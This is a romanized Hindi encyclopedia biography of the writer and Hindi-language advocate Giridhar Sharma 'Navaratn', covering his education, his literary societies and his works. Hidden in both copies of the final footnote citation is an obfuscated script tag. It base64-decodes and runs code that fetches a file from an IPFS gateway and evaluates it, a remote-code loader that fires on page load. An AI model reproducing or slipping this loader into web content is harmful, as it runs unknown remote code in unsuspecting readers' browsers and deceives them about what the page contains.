गिरिधर शर्मा नवरत्न

	giridhar sharma navaratn
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poora nam	giridhar sharma
any nam	'navaratn'
janm	6 joon, 1881
janm bhoomi	jhalarapatan, rajasthan
mrityu	1 julaee, 1961
abhibhavak	pita- brajeshvar sharma; mata- panna devi
mukhy rachanaean	aryashastr, shushroosha, arogy digdarshan, rai ka parvat, rritu-vinod adi.
bhasha	hindi, hiandi, aangrezi, sanskrit, prakrit, farasi
prasiddhi	lekhak
vishesh yogadan	giridhar ne rashtrabhasha hindi ka diksha mantr diya hai, jisake parinam svaroop agale hi varsh lakhanoo ke kaangres adhiveshan mean desh ki rashtrabhasha hindi ghoshit kar di gayi.
nagarikata	bharatiy
sanbandhit lekh	jhalarapatan, rajasthan, ayurved, darshan
any janakari	varsh 1912 ee. mean giridhar sharma ji ne jhalarapatan mean shri rajapootana hindi sahity sabha ki sthapana ki jisake sanrakshak jhalava d naresh shri bhavani sianh ji bane.
adyatan‎	05:18, 06 joon 2017 (IST)

giridhar sharma navaratn (janm- 6 joon, 1881, jhalarapatan, rajasthan; mrityu- 1 julaee, 1961) hindi sahity mean dvivedi yug ke aise svanamadhany vyaktitv the jo n keval ek sahityakar tatha rashtrabhakt bhi the. gaandhi ji se inaki mulakat huee aur unhean rashtrabhasha hindi ka diksha mantr diya jisake parinam svaroop agale hi varsh lakhanoo ke kaangres adhiveshan mean desh ki rashtrabhasha hindi ghoshit kar di gayi.

parichay

giridhar sharma navaratn ka janm 6 joon, 1881, ravivar ko jhalarapatan, rajasthan mean hua tha. inake pita brajeshvar sharma tatha mata panna devi thi.

shiksha

giridhar ji ne arambhik mean ghar par hi hiandi, aangrezi, sanskrit, prakrit, farasi adi bhashaoan ki shiksha ke bad jayapur se prashn var shri kanh ji vyas tatha param vedajn dravi d shri vireshvar ji shastri se sanskrit panjch kavy tatha sanskrit vyakaran ka adhyayan kiya. kashi mean pandit gangadhar shastri se sanskrit sahity tatha darshan ka vishisht adhyayan kiya.

hindi sahity sabha ki sthapana

san 1912 ee. mean giridhar sharma ji ne jhalarapatan mean shri rajapootana hindi sahity sabha ki sthapana ki jisake sanrakshak jhalava d naresh shri bhavani sianh ji bane. is sabha ka uddeshy 'hindi-bhasha' ki har tarah se unnati karana aur hindi bhasha mean vyapar vanijy, kala kaushal, itihas vijnan vaidyak, arthashastr samaj, niti rajaniti, puratatv, sahity upanyas adi vividh vishayoan par achchhe granth taiyar karana aur saste mooly par bechana tha.'

giridhar sharma ne san 1912 mean hi bharatapur mean hindi sahity samiti ki sthapana karake vahaan ke karyakartaoan ko hindi bhasha ki shri vriddhi, prasar aur sahity sanvarddhan ka kary sauanpa. san 1935 mean shri bharatendu samiti kota ke adhyaksh bane. san 1906 mean rajapootana se 'vidya bhaskar' namak masik patr nikala. indaur mean san 1914 mean madhy bharat hindi sahity samiti ki sthapana kar chukane ke bad bambee ge.

gaandhi ji se bheant

vahian gaandhi ji se giridhar sharma ki mulakat huee aur unhean rashtr-bhasha hindi ka diksha mantr diya jisake parinamasvaroop agale hi varsh lakhanoo ke kaangres adhiveshan mean desh ki rashtrabhasha hindi ghoshit kar di gayi.

rachanaean

giridhar ji ki prakashit rachanaean nimnalikhit haian- shri bhavani sianh karak ratnamh, 'amarashakti sudhakar shri bhavani sianh sadvritt guchchh:','navaratn niti:, 'giridhar saptashati','prem payodhi','yogi','abhed ras:','may vaksudha sauramandalamh','japan vijay adi.' giridhar ji ne 'matrivandana' apaki pramukh maulik kavita pustak hai. anuvad ke kshetr mean inhoanne pushkal kary kiya hai. giridhar ji ki rachanaean nimn hai-

aryashastr
vyapar-shiksha
shushroosha
kathinaee mean vidyabhyas
arogy digdarshan
jaya jayant
rai ka parvat
sarasvati yash
sukanya
savishri
rritu-vinod
shuddhadvait-kusum-rahasy
chitraangada
bhishm-pratibha
kavita-kusum
kalyan-mandir
bar-bhavana
ratn karand
nishapahar

aangrezi ke 'haramit' kavy ke mool evan anuvad donoan ko giridhar ne sanskrit mean hi padyabaddh kiya hai. giridhar ne san 1928 ee. mean sanskrit kavy 'shishupal vadh' ke do sargoan ka hindi mean padyanuvad kiya. 'mero sab lage prabho desh ki bhalaee mean' jaisi paktiyoan se sampann 'matri-vandana' ki rachana rashtriyata evan svadesh-prem ki prerana se huee hai. us samay tak svadesh prem vishayak prakashit hindi rachanaoan mean vah tritiy thi.

is vishay par gopal das krit 'bharat bhajanavali'^[1] evan guruprasad sianh dvara rachit 'bharat sangit'^[2] do poorvavarti rachanaean aur prapt huee haian. inaki tulana mean ukt rachana pushtatar aur sundaratar haian. isamean rashtriyata ke shuddh bhav ka prasar hua hai. 'matri-vandana' ka jo pavan svar bangakavy mean mukharit hua tha, hindi-kshetr bhi usase achhoota nahian raha. jis samay adhikaansh kavi madhyakalin vatavaran mean hi saans le rahe the aur kavy dhara hrasonmukhi ho rahi thi, svadesh-bhav ka yah jagaran desh-prem ka shankhanad hi mana jayega. apane atit ke prati nishkriy moh evan pratikriyatmak asakti tatha rashtriyata mean aantar karate hue jagaran ka jo shankhanad kiya, use kabhi vismrit nahian kiya ja sakata. anuvad kary vishay-vastu ki vistrit bhoomi se sambaddh hai. ayurved, darshan, vyavaharashastr, samajashasr niti evan acharan sabhi vishayoan par giridhar ji ki lekhani chali hai tatha inhoanne 'vidya bhaskar' ka sampadan bhi kiya hai.

nidhan

giridhar sharma navaratn ka nidhan 1 julaee, 1961 hua tha.^[3]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ san 1897 mean prakashit
↑ san 1901 mean prakashit
↑ hindi sahity kosh bhag-2 |lekhak: d aau. dhirendr varma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 131 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] san 1897 mean prakashit

[2] san 1901 mean prakashit

[3] sahity kosh bhag-2 |lekhak: d aau. dhirendr varma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 131 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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